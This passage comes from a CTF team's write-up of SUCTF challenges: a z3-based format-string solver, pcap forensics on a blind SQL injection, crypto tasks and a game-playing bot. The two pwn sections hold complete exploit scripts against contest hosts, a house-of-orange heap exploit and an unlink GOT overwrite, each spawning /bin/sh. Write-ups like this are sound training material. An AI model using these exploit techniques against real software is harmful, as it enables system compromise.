print &quot;base64 custom table:&quot;,flag
print &quot;encoded flag:&quot;,flag2
flagc=0
for i in flag2:
  flagc*=64
  flagc+=flag.index(i)
print &quot;flag:&quot;,hex(flagc)[2:-1].decode(&quot;hex&quot;)</p>
<pre class="hljs"><code>### simpleformat (sces60107)

* The binary `simpleformat` use <span class="hljs-built_in">printf</span> format <span class="hljs-built_in">string</span> <span class="hljs-keyword">to</span> verify flag
* Those format <span class="hljs-built_in">string</span> are mostly in <span class="hljs-keyword">a</span> format like `%<span class="hljs-number">1</span>$*<span class="hljs-number">2</span>$s`. This format <span class="hljs-built_in">string</span> means taking the second <span class="hljs-keyword">argument</span> <span class="hljs-keyword">as</span> the width. 
* And in the end of <span class="hljs-keyword">all</span> format <span class="hljs-built_in">string</span> <span class="hljs-keyword">is</span> `%<span class="hljs-number">20</span>$n`. This format <span class="hljs-built_in">string</span> will <span class="hljs-built_in">count</span> the <span class="hljs-keyword">number</span> of bytes written <span class="hljs-keyword">so</span> far <span class="hljs-built_in">and</span> stored the value <span class="hljs-keyword">to</span> the <span class="hljs-number">20</span><span class="hljs-keyword">th</span> <span class="hljs-keyword">argument</span>.
* Actually, Those format strings are some linear equations. We can use `z3` <span class="hljs-keyword">to</span> solve those equations.
* Scrip<span class="hljs-variable">t:</span>
```<span class="hljs-keyword">python</span>=
import re
from z3 import *
from pwn import *
<span class="hljs-keyword">f</span>=<span class="hljs-keyword">open</span>(<span class="hljs-string">"test"</span>)
ff=[]
<span class="hljs-keyword">for</span> i in <span class="hljs-keyword">f</span>.readlines():
  <span class="hljs-keyword">if</span> <span class="hljs-built_in">len</span>(i)&gt;<span class="hljs-number">200</span>:
    ff.<span class="hljs-keyword">append</span>(i)
fff=[]
<span class="hljs-keyword">an</span>=<span class="hljs-keyword">open</span>(<span class="hljs-string">"simpleformat"</span>).<span class="hljs-keyword">read</span>()[<span class="hljs-number">0</span>x27100:<span class="hljs-number">0</span>x27148]
<span class="hljs-keyword">cc</span>=[]
<span class="hljs-keyword">for</span> i in <span class="hljs-built_in">range</span>(<span class="hljs-number">0</span>,<span class="hljs-number">0</span>x48,<span class="hljs-number">4</span>):
  <span class="hljs-keyword">cc</span>.<span class="hljs-keyword">append</span>(u32(<span class="hljs-keyword">an</span>[i:i+<span class="hljs-number">4</span>]))
s=Solver()
flag=[]
<span class="hljs-keyword">for</span> i in <span class="hljs-built_in">range</span>(<span class="hljs-number">18</span>):
  flag.<span class="hljs-keyword">append</span>(Int(<span class="hljs-string">"flag"</span>+str(i)))
<span class="hljs-keyword">c</span>=<span class="hljs-number">0</span>
<span class="hljs-keyword">for</span> i in ff:
  <span class="hljs-keyword">k</span>={}
  <span class="hljs-keyword">for</span> <span class="hljs-keyword">j</span> in re.findall(<span class="hljs-string">"\%1\$\*(..?)\$s"</span>,i):
    <span class="hljs-keyword">if</span> <span class="hljs-keyword">int</span>(<span class="hljs-keyword">j</span>) not in <span class="hljs-keyword">k</span>:
      <span class="hljs-keyword">k</span>[<span class="hljs-keyword">int</span>(<span class="hljs-keyword">j</span>)]=<span class="hljs-number">1</span>
    <span class="hljs-keyword">else</span>:
      <span class="hljs-keyword">k</span>[<span class="hljs-keyword">int</span>(<span class="hljs-keyword">j</span>)]+=<span class="hljs-number">1</span>
  temp=<span class="hljs-number">0</span>
  <span class="hljs-keyword">for</span> <span class="hljs-keyword">j</span> in <span class="hljs-keyword">k</span>:
    temp+=flag[<span class="hljs-keyword">j</span>-<span class="hljs-number">2</span>]*<span class="hljs-keyword">k</span>[<span class="hljs-keyword">j</span>]
  s.<span class="hljs-built_in">add</span>(temp==<span class="hljs-keyword">cc</span>[<span class="hljs-keyword">c</span>])
  <span class="hljs-keyword">c</span>+=<span class="hljs-number">1</span>
<span class="hljs-keyword">print</span> s.check()
flag2=<span class="hljs-string">""</span>
<span class="hljs-keyword">for</span> i in fla<span class="hljs-variable">g:</span>
  <span class="hljs-keyword">a</span>=hex(<span class="hljs-keyword">int</span>(str(s.model()[i])))[<span class="hljs-number">2</span>:]
  <span class="hljs-keyword">a</span>=<span class="hljs-keyword">a</span>.decode(<span class="hljs-string">"hex"</span>)[::-<span class="hljs-number">1</span>]
  flag2+=<span class="hljs-keyword">a</span>
<span class="hljs-keyword">print</span> flag2 #SUCTF{s1mpl3_prin7f_l1near_f0rmulas}</code></pre><h2 id="misc"><a class="header-link" href="#misc"></a>misc</h2>
<h3 id="tnt-(sasdf,-bookgin)"><a class="header-link" href="#tnt-(sasdf,-bookgin)"></a>TNT (sasdf, bookgin)</h3>
<ol class="list">
<li>List all the GET request queries. <code>strings tnt.pcap | grep GET</code></li>
<li>The blind SQL injection enumerates the table name, column name. We are interested in <code>comment</code> as it&#39;s very long!</li>
<li>Extract each bytes. The result is like a base64 string.<pre class="hljs"><code><span class="hljs-comment">#!/usr/bin/env python3</span>
<span class="hljs-comment"># Python 3.6.5</span>
<span class="hljs-keyword">import</span> urllib.parse
<span class="hljs-keyword">with</span> open(<span class="hljs-string">'./gets'</span>) <span class="hljs-keyword">as</span> f:
 lines = f.read().strip().split(<span class="hljs-string">'\n'</span>)
 queries = [urllib.parse.unquote(line.split(<span class="hljs-string">' '</span>)[<span class="hljs-number">1</span>]) <span class="hljs-keyword">for</span> line <span class="hljs-keyword">in</span> lines]
 <span class="hljs-keyword">for</span> q <span class="hljs-keyword">in</span> queries:                                                                                                                    
     <span class="hljs-keyword">if</span> <span class="hljs-string">'!='</span> <span class="hljs-keyword">in</span> q <span class="hljs-keyword">and</span> <span class="hljs-string">'comment AS CHAR'</span> <span class="hljs-keyword">in</span> q <span class="hljs-keyword">and</span> <span class="hljs-string">'LIMIT 0'</span><span class="hljs-keyword">in</span> q:
         print(chr(int(q.split(<span class="hljs-string">'!='</span>)[<span class="hljs-number">-1</span>].split(<span class="hljs-string">')'</span>)[<span class="hljs-number">0</span>])), end=<span class="hljs-string">''</span>)</code></pre></li>
<li>The hint tells us to remove unnecessary character and append missing one. I remove <code>.</code> and append another <code>=</code> in the end. <code>(cat b64 &amp;&amp; echo &#39;=&#39;) | tr -d &#39;.&#39; | base64 -d</code></li>
<li>The result is a corrputed bzip2 file. Check the <a href="https://www.forensicswiki.org/wiki/Bzip2">bzip2 spec</a> and we found in the end of the file, the CRC only have 30 bits. Therefore, just brute force the 2 bits and padding 6-bit zeros.</li>
<li>After decompressing bzip2, gz, a corrputed jpg file blocks our way. Taking a closer look, we believe this file is related to zip, because there are some <code>PK</code> in the file, which is part of the <a href="https://en.wikipedia.org/wiki/Zip_(file_format">zip header</a>#File_headers).</li>
<li>However, the Local file header signature is corrupted. Simply patch these bytes and we can go on.</li>
<li>The next is a file which cannot be recognized by linux <code>file</code>. @bookgin simply guesses some <a href="https://en.wikipedia.org/wiki/List_of_archive_formats">archieve formats</a> and found RAR is the answer. Just patch the header again. </li>
<li>@sasdf utilizes a more elegant way to solve this: to spot <code>CMT</code> identifier in the file. <code>CMT</code> is the <a href="https://www.rarlab.com/technote.htm#srvcmt">comment identifier</a> in RAR. </li>
<li>We got the flag, finally.</li>
</ol>
<h3 id="sandgame-(b04902036)"><a class="header-link" href="#sandgame-(b04902036)"></a>SandGame (b04902036)</h3>
<p>in <code>game.py</code> we can see that it write the reminder of flag module many numbers into sand.txt, so I use <a href="http://comnuan.com/cmnn02/cmnn0200a/">this website</a> to get flag.
flag : flag{This_is_the_CRT_xwg)}</p>
<h3 id="cyclic-(b04902036)"><a class="header-link" href="#cyclic-(b04902036)"></a>Cyclic (b04902036)</h3>
<p>in this task it provide a cyclic xored text using flag as the key.
I first use script provided in <a href="https://ehsandev.com/pico2014/cryptography/repeated_xor.html">here</a> to analyze the key length and figure it to be of 24 bytes. Then use this <a href="https://wiremask.eu/tools/xor-cracker/">online cracker</a> to estimate the key. After decode the provided txt with base64 and uploading the file and see the guessed key of 24 bytes, the output contains some almost readable content : &#39;something&#39;. After some trial and error, I got flag(It becomes easy after we know the flag is of 24 bytes and start with &#39;something&#39;, just random guess a flag and xor it to the provided file, there will be some recognizable words).
flag : flag{Something Just Like This}</p>
<h3 id="game-(b04902036)"><a class="header-link" href="#game-(b04902036)"></a>Game (b04902036)</h3>
<p>there are three type of game in this chal, we have to play each of them 20 turns perfectly. they are 
1.Nim
2.Wythoff&#39;s game
3.<a href="http://delphiforfun.org/programs/NIM2_Multi.htm">http://delphiforfun.org/programs/NIM2_Multi.htm</a>
You can easily find optimal algorithmns of playing these games on the internet. My script is realy messy and include many little optimization. Since the connection won&#39;t last more than 90 seconds, it require a good network environment..., I tried near ten times under wired network and finally get flag before the connection timeout.</p>
<pre class="hljs"><code><span class="hljs-comment">#!/usr/bin/python</span>
<span class="hljs-keyword">from</span> pwn <span class="hljs-keyword">import</span> *
<span class="hljs-keyword">from</span> hashlib <span class="hljs-keyword">import</span> *
<span class="hljs-keyword">import</span> string
<span class="hljs-keyword">from</span> math <span class="hljs-keyword">import</span> *
<span class="hljs-keyword">import</span> os
<span class="hljs-keyword">import</span> itertools <span class="hljs-keyword">as</span> it
<span class="hljs-keyword">import</span> multiprocessing <span class="hljs-keyword">as</span> mp
<span class="hljs-function"><span class="hljs-keyword">def</span> <span class="hljs-title">check</span><span class="hljs-params">(p)</span>:</span>
    <span class="hljs-keyword">global</span> pre
    <span class="hljs-keyword">if</span>(sha256(pre+p).hexdigest() == ans):
        <span class="hljs-keyword">return</span> p
    <span class="hljs-keyword">return</span> <span class="hljs-keyword">None</span>
<span class="hljs-function"><span class="hljs-keyword">def</span> <span class="hljs-title">pow</span><span class="hljs-params">()</span>:</span>
    <span class="hljs-keyword">global</span> ans
    y = string.ascii_letters + string.digits
    y = it.imap(<span class="hljs-string">''</span>.join, it.product(y, repeat=<span class="hljs-number">4</span>))
    pool = mp.Pool(<span class="hljs-number">32</span>)
    <span class="hljs-keyword">for</span> c <span class="hljs-keyword">in</span> pool.imap_unordered(check, y, chunksize=<span class="hljs-number">100000</span>):
        <span class="hljs-keyword">if</span>(c):
            <span class="hljs-keyword">return</span> c
<span class="hljs-comment"># this is used in second game</span>
g = (<span class="hljs-number">1.0</span> + (<span class="hljs-number">5</span> ** <span class="hljs-number">0.5</span>)) / <span class="hljs-number">2.0</span>
answer = dict()
answer_rev = dict()
<span class="hljs-keyword">for</span> i <span class="hljs-keyword">in</span> range(<span class="hljs-number">100000</span>):
    answer[int(floor(i * g))] = int(floor(i * g) + i)
    answer_rev[int(floor(i * g) + i)] = int(floor(i * g))
<span class="hljs-comment"># / this is used in second game</span>
host = <span class="hljs-string">'game.suctf.asuri.org'</span>
port = <span class="hljs-number">10000</span>
r = remote(host, port)
r.recvuntil(<span class="hljs-string">'sha256('</span>)
pre = r.recvuntil(<span class="hljs-string">' '</span>)[:<span class="hljs-number">-1</span>]
r.recvuntil(<span class="hljs-string">' == '</span>)
ans = r.recvuntil(<span class="hljs-string">'\n'</span>).strip(<span class="hljs-string">'\n'</span>)
r.sendline(pow())
counter = <span class="hljs-number">0</span>
GG = <span class="hljs-number">3</span>
<span class="hljs-keyword">while</span>(<span class="hljs-number">1</span>):
    counter += <span class="hljs-number">1</span>
    <span class="hljs-comment">#print ('Round ', counter)</span>
    <span class="hljs-keyword">if</span>(counter == <span class="hljs-number">21</span>):
        <span class="hljs-keyword">break</span>
    r.recvuntil(<span class="hljs-string">'Round'</span>)
    r.recvuntil(<span class="hljs-string">'There are '</span>)
    now = int(r.recvuntil(<span class="hljs-string">' '</span>)[:<span class="hljs-number">-1</span>], <span class="hljs-number">10</span>)
    r.recvuntil(<span class="hljs-string">'you can pick '</span>)
    low = int(r.recvuntil(<span class="hljs-string">' '</span>)[:<span class="hljs-number">-1</span>], <span class="hljs-number">10</span>)
    r.recvuntil(<span class="hljs-string">'- '</span>)
    high = int(r.recvuntil(<span class="hljs-string">' '</span>)[:<span class="hljs-number">-1</span>], <span class="hljs-number">10</span>)
    jason = low + high
    ret = now % jason
    <span class="hljs-keyword">if</span>(ret &gt; high <span class="hljs-keyword">or</span> ret &lt; low <span class="hljs-keyword">or</span> (<span class="hljs-number">21</span> - counter &lt;= GG)):
        GG -= <span class="hljs-number">1</span>
        r.sendline(<span class="hljs-string">'GG'</span>)
        <span class="hljs-keyword">continue</span>
    <span class="hljs-keyword">else</span>:
        count = <span class="hljs-number">-1</span>
        get = <span class="hljs-number">0</span>
        <span class="hljs-keyword">while</span>(now != <span class="hljs-number">0</span>):
            count += <span class="hljs-number">1</span>
            r.recvuntil(<span class="hljs-string">':'</span>)
            <span class="hljs-keyword">if</span>(count == <span class="hljs-number">0</span>):
                r.sendline(str(ret))
                now -= ret
            <span class="hljs-keyword">else</span>:
                <span class="hljs-keyword">if</span>(now - jason + get &lt; <span class="hljs-number">0</span>):
                    r.sendline(str(jason - get - low))
                    now = <span class="hljs-number">0</span>
                <span class="hljs-keyword">else</span>:
                    r.sendline(str(jason - get))
                now -= jason
            <span class="hljs-keyword">if</span>(now == <span class="hljs-number">0</span>):
                <span class="hljs-keyword">break</span>
            r.recvuntil(<span class="hljs-string">'pick '</span>)
            get = int(r.recvuntil(<span class="hljs-string">'\n'</span>)[:<span class="hljs-number">-2</span>], <span class="hljs-number">10</span>)
r.recvuntil(<span class="hljs-string">'===\n'</span>)
r.recvuntil(<span class="hljs-string">'===\n'</span>)
counter = <span class="hljs-number">0</span>
<span class="hljs-comment">#print 'game 2'</span>
<span class="hljs-comment"># this is the fuction to find cold position in game 2</span>
<span class="hljs-function"><span class="hljs-keyword">def</span> <span class="hljs-title">solver</span><span class="hljs-params">(nowx, nowy)</span>:</span>
    p00 = <span class="hljs-number">0</span>
    p11 = <span class="hljs-number">1</span>
    <span class="hljs-keyword">if</span>(nowx <span class="hljs-keyword">in</span> answer):
        <span class="hljs-keyword">if</span>(answer[nowx] &lt; nowy):
            <span class="hljs-keyword">return</span> (nowy - answer[nowx], p11)
    <span class="hljs-keyword">if</span>(nowx <span class="hljs-keyword">in</span> answer_rev):
        <span class="hljs-keyword">if</span>(answer_rev[nowx] &lt; nowy):
            <span class="hljs-keyword">return</span> (nowy - answer_rev[nowx], p11)
    <span class="hljs-keyword">if</span>(nowy <span class="hljs-keyword">in</span> answer):
        <span class="hljs-keyword">if</span>(answer[nowy] &lt; nowx):
            <span class="hljs-keyword">return</span> (nowx - answer[nowy], p00)
    <span class="hljs-keyword">if</span>(nowy <span class="hljs-keyword">in</span> answer_rev):
        <span class="hljs-keyword">if</span>(answer_rev[nowy] &lt; nowx):
            <span class="hljs-keyword">return</span> (nowx - answer_rev[nowy], p00)
    y = abs(nowx - nowy)
    ret = int(floor(g * y))
    <span class="hljs-keyword">if</span>(((nowx - ret) == (nowy - ret - y) <span class="hljs-keyword">and</span> (nowx - ret) &gt; <span class="hljs-number">0</span>)):
        <span class="hljs-keyword">return</span> (nowx - ret, <span class="hljs-number">2</span>)
    <span class="hljs-keyword">if</span>(((nowx - ret - y) == (nowy - ret) <span class="hljs-keyword">and</span> (nowy - ret) &gt; <span class="hljs-number">0</span>)):
        <span class="hljs-keyword">return</span> (nowy - ret, <span class="hljs-number">2</span>)
    <span class="hljs-keyword">return</span> (<span class="hljs-string">'GG'</span>, <span class="hljs-string">'GG'</span>)
sign = <span class="hljs-number">1</span>
GG = <span class="hljs-number">8</span>
now_time = time.time()
<span class="hljs-keyword">while</span>(sign):
    r.recvuntil(<span class="hljs-string">'Round'</span>)
    p = r.recvuntil(<span class="hljs-string">'\n'</span>).strip()
    counter += <span class="hljs-number">1</span>
    <span class="hljs-comment">#print ('Round ', p)</span>
    <span class="hljs-keyword">if</span>(int(p) == <span class="hljs-number">20</span>):
        sign = <span class="hljs-number">0</span>
    count = <span class="hljs-number">-1</span>
    <span class="hljs-keyword">while</span>(<span class="hljs-number">1</span>):
        count += <span class="hljs-number">1</span>
        r.recvuntil(<span class="hljs-string">'Piles: '</span>)
        <span class="hljs-keyword">if</span>(<span class="hljs-number">21</span> - counter &lt;= GG):
            r.sendline(<span class="hljs-string">'GG'</span>)
            GG -= <span class="hljs-number">1</span>
            <span class="hljs-keyword">break</span>
        p0 = r.recvuntil(<span class="hljs-string">' '</span>)[:<span class="hljs-number">-1</span>]
        p0 = int(p0, <span class="hljs-number">10</span>)
        p1 = r.recvuntil(<span class="hljs-string">'\n'</span>)[:<span class="hljs-number">-1</span>]
        p1 = int(p1, <span class="hljs-number">10</span>)
        r.recvuntil(<span class="hljs-string">':'</span>)
        <span class="hljs-keyword">if</span>(p0 == <span class="hljs-number">0</span>):
            r.sendline(str(p1) + <span class="hljs-string">' '</span> + <span class="hljs-string">'1'</span>)
            <span class="hljs-keyword">break</span>
        <span class="hljs-keyword">elif</span>(p1 == <span class="hljs-number">0</span>):
            r.sendline(str(p0) + <span class="hljs-string">' '</span> + <span class="hljs-string">'0'</span>)
            <span class="hljs-keyword">break</span>
        <span class="hljs-keyword">elif</span>(p1 == p0):
            r.sendline(str(p0) + <span class="hljs-string">' '</span> + <span class="hljs-string">'2'</span>)
            <span class="hljs-keyword">break</span>
        <span class="hljs-keyword">else</span>:
            ret = solver(p0, p1)
            <span class="hljs-keyword">if</span>(ret[<span class="hljs-number">0</span>] == <span class="hljs-string">'GG'</span>):
                sending = <span class="hljs-string">'GG'</span>
                GG -= <span class="hljs-number">1</span>
            <span class="hljs-keyword">else</span>:
                sending = str(ret[<span class="hljs-number">0</span>]) + <span class="hljs-string">' '</span> + str(ret[<span class="hljs-number">1</span>])
            r.sendline(sending)
            <span class="hljs-keyword">if</span>(sending == <span class="hljs-string">'GG'</span>):
                <span class="hljs-keyword">break</span>
r.recvuntil(<span class="hljs-string">'===\n'</span>)
r.recvuntil(<span class="hljs-string">'===\n'</span>)
<span class="hljs-comment">#print 'game 3'</span>
counter = <span class="hljs-number">0</span>
GG = <span class="hljs-number">5</span>
<span class="hljs-keyword">while</span>(<span class="hljs-number">1</span>):
    counter += <span class="hljs-number">1</span>
    <span class="hljs-keyword">if</span>(counter == <span class="hljs-number">21</span>):
        <span class="hljs-keyword">break</span>
    r.recvuntil(<span class="hljs-string">'Round'</span>)
    count = <span class="hljs-number">0</span>
    <span class="hljs-keyword">while</span>(<span class="hljs-number">1</span>):
        count += <span class="hljs-number">1</span>
        z = r.recvuntil(<span class="hljs-string">'Piles: '</span>)
        <span class="hljs-keyword">if</span>(<span class="hljs-number">21</span> - counter &lt;= GG):
            r.sendline(<span class="hljs-string">'GG'</span>)
            GG -= <span class="hljs-number">1</span>
            <span class="hljs-keyword">break</span>
        all_p = r.recvuntil(<span class="hljs-string">'\n'</span>).strip().split(<span class="hljs-string">' '</span>)
        all_p = [int(all_p[i]) <span class="hljs-keyword">for</span> i <span class="hljs-keyword">in</span> range(len(all_p))]
        now = <span class="hljs-number">0</span>
        <span class="hljs-keyword">for</span> i <span class="hljs-keyword">in</span> range(<span class="hljs-number">5</span>):
            now = now ^ all_p[i]
        sending = <span class="hljs-string">'GG'</span>
        _max = <span class="hljs-number">0</span>
        _max_id = <span class="hljs-number">-1</span>
        chk = <span class="hljs-number">0</span>
        <span class="hljs-keyword">for</span> i <span class="hljs-keyword">in</span> range(<span class="hljs-number">5</span>):
            <span class="hljs-keyword">if</span>(all_p[i] == <span class="hljs-number">0</span>):
                chk += <span class="hljs-number">1</span>
                <span class="hljs-keyword">continue</span>
            now_now = now ^ all_p[i]
            check = all_p[i] - now_now
            <span class="hljs-keyword">if</span>(check &gt; _max):
                _max_id = i
                _max = check
        <span class="hljs-keyword">if</span>(_max_id &gt;= <span class="hljs-number">0</span>):
            sending = str(_max) + <span class="hljs-string">' '</span> + str(_max_id)
        r.sendline(sending)
        <span class="hljs-keyword">if</span>(chk == <span class="hljs-number">4</span>):
            <span class="hljs-keyword">break</span>
        <span class="hljs-keyword">if</span>(sending == <span class="hljs-string">'GG'</span>):
            GG -= <span class="hljs-number">1</span>
            <span class="hljs-keyword">break</span>
r.interactive()</code></pre><p>flag : SUCTF{gGGGGggGgGggGGggGGGggGgGgggGGGGGggggggGgGggggGg}</p>
<h2 id="pwn"><a class="header-link" href="#pwn"></a>pwn</h2>
<h3 id="note-(kevin47)"><a class="header-link" href="#note-(kevin47)"></a>Note (kevin47)</h3>
<ul class="list">
<li>Overflow in add</li>
<li>UAF</li>
<li>Overflow top chunk&#39;s size to create an unsorted bin</li>
<li>Call pandora to create second unsorted bin</li>
<li>Leak libc and heap</li>
<li>Use house of orange to get shell</li>
</ul>
<pre class="hljs"><code><span class="hljs-comment">#!/usr/bin/env python2</span>

<span class="hljs-keyword">from</span> pwn <span class="hljs-keyword">import</span> *
<span class="hljs-keyword">from</span> IPython <span class="hljs-keyword">import</span> embed
<span class="hljs-keyword">import</span> re

context.arch = <span class="hljs-string">'amd64'</span>

r = remote(<span class="hljs-string">'pwn.suctf.asuri.org'</span>, <span class="hljs-number">20003</span>)

<span class="hljs-function"><span class="hljs-keyword">def</span> <span class="hljs-title">add</span><span class="hljs-params">(size, content)</span>:</span>
    r.sendlineafter(<span class="hljs-string">'&gt;&gt;'</span>, <span class="hljs-string">'1'</span>)
    r.sendlineafter(<span class="hljs-string">'Size:'</span>, str(size))
    r.sendlineafter(<span class="hljs-string">'Content:'</span>, content)

<span class="hljs-function"><span class="hljs-keyword">def</span> <span class="hljs-title">show</span><span class="hljs-params">(idx)</span>:</span>
    r.sendlineafter(<span class="hljs-string">'&gt;&gt;'</span>, <span class="hljs-string">'2'</span>)
    r.sendlineafter(<span class="hljs-string">'Index:'</span>, str(idx))
    r.recvuntil(<span class="hljs-string">'Content:'</span>)
    <span class="hljs-keyword">return</span> r.recvuntil(<span class="hljs-string">'1.Add a not'</span>, drop=<span class="hljs-keyword">True</span>)

<span class="hljs-function"><span class="hljs-keyword">def</span> <span class="hljs-title">pandora</span><span class="hljs-params">()</span>:</span>
    r.sendlineafter(<span class="hljs-string">'&gt;&gt;'</span>, <span class="hljs-string">'3'</span>)
    r.sendlineafter(<span class="hljs-string">'yes:1)'</span>, <span class="hljs-string">'1'</span>)


add(<span class="hljs-number">10</span>, <span class="hljs-string">'a'</span>*<span class="hljs-number">24</span>+flat(<span class="hljs-number">0xec1</span>))
add(<span class="hljs-number">4000</span>, <span class="hljs-string">'a'</span>)
pandora()
x = show(<span class="hljs-number">0</span>).strip()
heap = u64(x.ljust(<span class="hljs-number">8</span>, <span class="hljs-string">'\x00'</span>)) - <span class="hljs-number">0x140</span>
<span class="hljs-keyword">print</span> <span class="hljs-string">'heap:'</span>, hex(heap)
add(<span class="hljs-number">0x90</span><span class="hljs-number">-8</span>, <span class="hljs-string">'a'</span>*<span class="hljs-number">7</span>)
x = show(<span class="hljs-number">1</span>).strip()
libc = u64(x.ljust(<span class="hljs-number">8</span>, <span class="hljs-string">'\x00'</span>)) - <span class="hljs-number">0x3bfb58</span>
<span class="hljs-keyword">print</span> <span class="hljs-string">'libc:'</span>, hex(libc)

<span class="hljs-comment">#_IO_list_all = libc + 0x3c5520</span>
_IO_list_all = libc + <span class="hljs-number">0x3c0500</span>
_IO_str_jumps = libc + <span class="hljs-number">0x3bc4c0</span>
<span class="hljs-comment">#system = libc + 0x45390</span>
system = libc + <span class="hljs-number">0x456d0</span>
pop_rax_rbx_rbp = libc + <span class="hljs-number">0x1fa71</span>
ret = libc + <span class="hljs-number">0x1fa74</span>
add(<span class="hljs-number">10</span>, flat(
    <span class="hljs-string">'a'</span>*<span class="hljs-number">16</span>,
    <span class="hljs-number">0x0</span>, <span class="hljs-number">0x61</span>,
    <span class="hljs-number">0</span>, _IO_list_all<span class="hljs-number">-0x10</span>,
    <span class="hljs-number">0</span>, <span class="hljs-number">1</span>,
    <span class="hljs-number">0</span>, heap+<span class="hljs-number">0x1a0</span>, heap+<span class="hljs-number">0x1a0</span>,      <span class="hljs-comment"># buf_base to heap &amp; buf_end-buf_base==0</span>
    [<span class="hljs-number">0</span>]*<span class="hljs-number">18</span>, _IO_str_jumps,
    ret, system,                    <span class="hljs-comment"># malloc do nothing, free(buf_base) == system('/bin/sh')</span>
    <span class="hljs-string">'/bin/sh\x00'</span>,
))

<span class="hljs-comment">#raw_input("@")</span>
r.sendlineafter(<span class="hljs-string">'&gt;&gt;'</span>, <span class="hljs-string">'1'</span>)
r.sendlineafter(<span class="hljs-string">'Size:'</span>, <span class="hljs-string">'10'</span>)

<span class="hljs-comment">#embed()</span>
r.interactive()

<span class="hljs-comment"># SUCTF{Me1z1jiu_say_s0rry_LOL}</span></code></pre><h3 id="heap-(b04902036)"><a class="header-link" href="#heap-(b04902036)"></a>Heap (b04902036)</h3>
<p>there are four functions : creat(length, content), delete(index), show(index) and edit(index, content)
creat(length, content) : malloc 2 chunk of size &quot;length&quot;, let&#39;s call them a and b, then read &quot;length&quot; bytes into a and strcpy(b, a), free a and store b in a global array heap_form
delete(index) : free(heap_form[index]), heap_form[index] = NULL
show(index) : show content of heap_form[index]
edit(index, content) : write strlen(heap_form[index]) bytes to heap_form[index]
vulnerability : In function edit(), it allows us to overwrite the size of next chunk, and thus we can perform an unlink, then modify got and get shell.
I choose to overwrite got of free() since everytime the program read input, it will malloc 8 bytes and free it. So we can input &#39;/bin/sh\x00&#39; after we overwrite the got and get shell.</p>
<pre class="hljs"><code><span class="hljs-comment">#!/usr/bin/python</span>
<span class="hljs-keyword">from</span> pwn <span class="hljs-keyword">import</span> *
host = <span class="hljs-string">'pwn.suctf.asuri.org'</span>
port = <span class="hljs-number">20004</span>
r = remote(host, port)
<span class="hljs-function"><span class="hljs-keyword">def</span> <span class="hljs-title">create</span><span class="hljs-params">(length, name)</span>:</span>
    r.recvuntil(<span class="hljs-string">'4:edit'</span>)
    r.sendline(<span class="hljs-string">'1'</span>)
    r.recvuntil(<span class="hljs-string">'input len'</span>)
    r.sendline(str(length))
    r.recvuntil(<span class="hljs-string">'your data'</span>)
    <span class="hljs-keyword">if</span>(len(name) == length):
        r.send(name)
    <span class="hljs-keyword">else</span>:
        r.sendline(name)
<span class="hljs-function"><span class="hljs-keyword">def</span> <span class="hljs-title">delete</span><span class="hljs-params">(idx)</span>:</span>
    r.recvuntil(<span class="hljs-string">'4:edit'</span>)
    r.sendline(<span class="hljs-string">'2'</span>)
    r.recvuntil(<span class="hljs-string">'input id'</span>)
    r.sendline(str(idx))
<span class="hljs-function"><span class="hljs-keyword">def</span> <span class="hljs-title">show</span><span class="hljs-params">(idx, wait=False)</span>:</span>
    <span class="hljs-keyword">if</span>(wait):
        r.recvuntil(<span class="hljs-string">'4:edit'</span>)
        r.recvuntil(<span class="hljs-string">'4:edit'</span>, timeout=<span class="hljs-number">1</span>)
    <span class="hljs-keyword">else</span>:
        r.recvuntil(<span class="hljs-string">'4:edit'</span>)
    r.sendline(<span class="hljs-string">'3'</span>)
    r.recvuntil(<span class="hljs-string">'input id\n'</span>)
    r.sendline(str(idx))
<span class="hljs-function"><span class="hljs-keyword">def</span> <span class="hljs-title">edit</span><span class="hljs-params">(idx, name, length)</span>:</span>
    r.recvuntil(<span class="hljs-string">'4:edit'</span>)
    r.sendline(<span class="hljs-string">'4'</span>)
    r.recvuntil(<span class="hljs-string">'input id'</span>)
    r.sendline(str(idx))
    r.recvuntil(<span class="hljs-string">'your data'</span>)
    <span class="hljs-keyword">if</span>(len(name) == length):
        r.send(name)
    <span class="hljs-keyword">else</span>:
        r.sendline(name)
heap_form = <span class="hljs-number">0x6020c0</span>
free_got = <span class="hljs-number">0x0000000000602018</span>
free = <span class="hljs-number">0x00000000000844f0</span>
system = <span class="hljs-number">0x0000000000045390</span> 
create(<span class="hljs-number">0x98</span>, <span class="hljs-string">'1'</span>) <span class="hljs-comment"># 0</span>
create(<span class="hljs-number">0x98</span>, <span class="hljs-string">'1'</span>) <span class="hljs-comment"># 1</span>
create(<span class="hljs-number">0x98</span>, <span class="hljs-string">'1'</span>) <span class="hljs-comment"># 2</span>
create(<span class="hljs-number">0x98</span>, <span class="hljs-string">'1'</span>*<span class="hljs-number">0x98</span>) <span class="hljs-comment"># 3</span>
create(<span class="hljs-number">0x98</span>, <span class="hljs-string">'1'</span>) <span class="hljs-comment"># 4</span>
edit(<span class="hljs-number">3</span>, (p64(<span class="hljs-number">0x90</span> + <span class="hljs-number">0x10</span> + <span class="hljs-number">0x10</span>) + p64(<span class="hljs-number">0x90</span>) + p64(heap_form + <span class="hljs-number">0x18</span> - <span class="hljs-number">0x18</span>) + p64(heap_form + <span class="hljs-number">0x18</span> - <span class="hljs-number">0x10</span>)).ljust(<span class="hljs-number">0x90</span>, <span class="hljs-string">'a'</span>) + p64(<span class="hljs-number">0x90</span>) + <span class="hljs-string">'\xa0'</span>, <span class="hljs-number">0x98</span> + <span class="hljs-number">1</span>)
delete(<span class="hljs-number">4</span>)
edit(<span class="hljs-number">3</span>, p64(free_got)[:<span class="hljs-number">4</span>], <span class="hljs-number">4</span>)
show(<span class="hljs-number">0</span>, <span class="hljs-keyword">True</span>)
libc = r.recvuntil(<span class="hljs-string">'1:creat'</span>)[:<span class="hljs-number">-7</span>]
<span class="hljs-keyword">print</span> (len(libc))
libc = u64(libc.strip().ljust(<span class="hljs-number">8</span>, <span class="hljs-string">'\x00'</span>))
<span class="hljs-keyword">print</span> (<span class="hljs-string">'libc : '</span>, hex(libc))
real_system = system + libc - free
<span class="hljs-keyword">print</span> (<span class="hljs-string">'system : '</span>, hex(real_system))
edit(<span class="hljs-number">0</span>, p64(real_system)[:<span class="hljs-number">-2</span>], <span class="hljs-number">6</span>)
r.recvuntil(<span class="hljs-string">'4:edit'</span>)
r.sendline(<span class="hljs-string">'/bin/sh\x00'</span>)
r.interactive()</code></pre><p>flag : SUCTF{L1gFhAuay4qe29EJrP1MyVWoTGSXJiAzDFdnZLZtTbHKeP2j6bLc}</p>
